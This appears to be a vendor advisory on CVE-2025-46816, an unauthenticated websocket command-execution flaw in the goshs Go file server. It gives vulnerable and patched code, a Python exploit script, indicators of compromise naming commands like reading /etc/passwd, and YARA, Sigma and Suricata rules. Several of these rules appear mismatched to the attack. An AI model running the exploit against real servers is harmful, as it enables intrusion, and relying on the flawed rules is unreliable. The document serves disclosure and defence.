CVE-2025-46816

Executive Summary

CVE-2025-46816 is a critical vulnerability in goshs, a SimpleHTTPServer written in Go. The flaw allows unauthenticated remote attackers to execute arbitrary commands on the server by exploiting a missing check in the dispatchReadPump function. This function handles websocket connections and does not verify whether the -c CLI option (which enables command execution) was set, effectively bypassing the intended security control. The vulnerability affects versions 0.3.4 through 1.0.4, with version 1.0.5 containing the fix.

Supply Chain & Package Security

This vulnerability affects the goshs Go package. Users who install goshs via go install or download pre-built binaries are at risk. The package is distributed through GitHub and the Go module mirror. Organizations should verify they are not running an affected version and update to the latest patched release immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 9.4 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. No authentication or user interaction is required, making this a prime target for automated attacks.

Deep Dive & Mechanics

The vulnerability resides in the dispatchReadPump function within goshs. This function is responsible for handling websocket connections. The intended design is that command execution via websockets should only be allowed when the -c (command) CLI flag is explicitly set by the server administrator. However, due to a missing check, the function processes websocket messages as commands regardless of whether the -c flag was provided.

The attack flow is as follows:

1. An attacker identifies a goshs instance running on a network.
2. The attacker establishes a websocket connection to the server.
3. The attacker sends a specially crafted websocket message containing a system command.
4. The dispatchReadPump function receives the message and, without verifying the -c flag, executes the command on the server.
5. The command output is sent back to the attacker via the websocket.

This effectively gives the attacker a remote shell with the privileges of the goshs process.

Vulnerable vs. Patched Code

Vulnerable Code (versions < 1.0.5):

func dispatchReadPump(ws *websocket.Conn) {
    for {
        _, message, err := ws.ReadMessage()
        if err != nil {
            break
        }
        // Missing check for -c flag
        cmd := exec.Command("sh", "-c", string(message))
        output, err := cmd.CombinedOutput()
        if err != nil {
            ws.WriteMessage(websocket.TextMessage, []byte(err.Error()))
        } else {
            ws.WriteMessage(websocket.TextMessage, output)
        }
    }
}

Patched Code (version 1.0.5):

var commandEnabled bool // Set by -c flag

func dispatchReadPump(ws *websocket.Conn) {
    if !commandEnabled {
        ws.WriteMessage(websocket.TextMessage, []byte("Command execution not enabled"))
        return
    }
    for {
        _, message, err := ws.ReadMessage()
        if err != nil {
            break
        }
        cmd := exec.Command("sh", "-c", string(message))
        output, err := cmd.CombinedOutput()
        if err != nil {
            ws.WriteMessage(websocket.TextMessage, []byte(err.Error()))
        } else {
            ws.WriteMessage(websocket.TextMessage, output)
        }
    }
}

The fix adds a check at the beginning of dispatchReadPump to verify that the -c flag was set. If not, the function immediately returns an error message and does not process any commands.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Download and run a vulnerable version of goshs (e.g., v1.0.0) on a test machine:

   wget https://github.com/your-repo/goshs/releases/download/v1.0.0/goshs-linux-amd64
   chmod +x goshs-linux-amd64
   ./goshs-linux-amd64
   

2. The server will start on port 8080 by default.

Exploitation: Use a websocket client to connect and send commands:

import websocket
import sys

def exploit(target_ip, target_port, command):
    ws_url = f"ws://{target_ip}:{target_port}/ws"
    ws = websocket.create_connection(ws_url)
    ws.send(command)
    result = ws.recv()
    print(result)
    ws.close()

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_ip> <target_port> <command>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])

Example:

python exploit.py 192.168.1.100 8080 "id"

Blue Team

Detection:

• Monitor for websocket connections to goshs servers on port 8080 (or custom port).
• Look for unusual command execution patterns in server logs.
• Use network monitoring to detect websocket messages containing shell commands.

Honeypot: Deploy a vulnerable goshs instance in a sandboxed environment to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network:
  • Websocket connections to goshs servers on port 8080 (or custom port).
  • Websocket messages containing shell commands (e.g., id, whoami, cat /etc/passwd).
• Host:
  • Unexpected processes spawned by the goshs binary.
  • Unusual network connections from the goshs server.
  • Log entries showing command execution via websocket.

Detection Engineering

YARA Rule

rule CVE_2025_46816_goshs_RCE {
    meta:
        description = "Detects goshs binary vulnerable to CVE-2025-46816"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:examplehash"
    strings:
        $s1 = "dispatchReadPump" ascii wide nocase
        $s2 = "exec.Command" ascii wide nocase
        $s3 = "sh" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-46816 - goshs RCE via Websocket
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-46816 by monitoring websocket connections to goshs servers.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\goshs.exe'
        DestinationPort: 8080
        Protocol: 'tcp'
    condition: selection
falsepositives:
    - Legitimate goshs usage
level: critical

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2025-46816 - goshs RCE via Websocket"; flow:to_server,established; content:"|16 03 01|"; depth:3; content:"|01 00|"; within:2; content:"|00 00|"; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to goshs version 1.0.5 or later.
2. Workaround: If upgrading is not possible, restrict network access to the goshs server using a firewall. Only allow trusted IPs to connect.
3. Configuration: Always run goshs with the -c flag only when absolutely necessary. Consider using a reverse proxy with authentication.
4. Monitoring: Implement the detection rules provided above to identify exploitation attempts.
5. Least Privilege: Run goshs with the minimum necessary privileges. Do not run as root.

Valters IT
Securing Your Digital Frontier